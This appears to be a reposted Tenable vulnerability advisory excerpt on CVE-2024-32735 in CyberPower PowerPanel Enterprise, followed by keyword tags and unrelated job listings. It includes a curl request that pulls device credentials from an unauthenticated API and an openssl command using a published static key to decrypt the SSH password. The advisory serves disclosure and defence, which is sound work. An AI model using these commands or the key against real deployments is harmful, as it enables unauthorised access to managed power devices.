May 9, 2024, 2:39 p.m. | Jimi Sebree

Tenable Research Advisories www.tenable.com

CyberPower PowerPanel Enterprise Power Device Network Utility Multiple Vulnerabilities

CVE-2024-32735 - Missing Authentication for Critical Function (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

An unauthenticated remote attacker can access the PDNU REST APIs. For example, the attacker can fetch sensitive information (i.e., login credentials) for devices managed by PDNU:

curl '>:8085/api/v1/devices'
{"status":"success","results":[{"ip":"192.168.1.123","mac":"11:22:33:44:55:66","fwversion":null,"netmask":"255.255.255.0","gateway":" \"192.168.1.1\"","usedhcp":false,"location":null,"name":null,"uptime":null,"code":null,"contact":null,"modifiedtime":null,"account":"admin","passwd":"FDA64FBAD708BA5A3CA9995A1153F4C6","iv":"90CC43284178CF848AA3CFE8C98B337C","canconn":true,"action":null,"ndtype":2}]}

The encrypted password used to login (i.e., SSH) to a device can be decrypted with a static key (i.e., 7ea3312f320c78447ff6fd4c51f77a8abb764b20e31aedccfe6b1854f5aa505e):

echo -n 'FDA64FBAD708BA5A3CA9995A1153F4C6' | xxd -p -r  | openssl aes-256-cbc -d -K 7ea3312f320c78447ff6fd4c51f77a8abb764b20e31aedccfe6b1854f5aa505e …

access account action admin api apis attacker authentication can code credentials critical curl cve cve-2024 cvss cyberpower cyberpower powerpanel device devices encrypted enterprise fetch function gateway information location login login credentials mac managed missing name netmask network password power rest rest apis results sensitive sensitive information unauthenticated uptime utility vulnerabilities

Information Technology Specialist I, LACERA: Information Security Engineer

@ Los Angeles County Employees Retirement Association (LACERA) | Pasadena, CA

Junior Analyst, Structured Data Services

@ Arete | Hyderabad

Manager, Global Data Analysis & Notification

@ Epiq | IND-Hyderabad-Sohini Tech Park, 3rd Floor, Financial District

Network Automation and Orchestration Engineer

@ ManTech | REMT - Remote Worker Location

Security Automation Developer

@ Maveris | Hines, Illinois, United States

Security Automation Developer

@ Maveris | Martinsburg, West Virginia, United States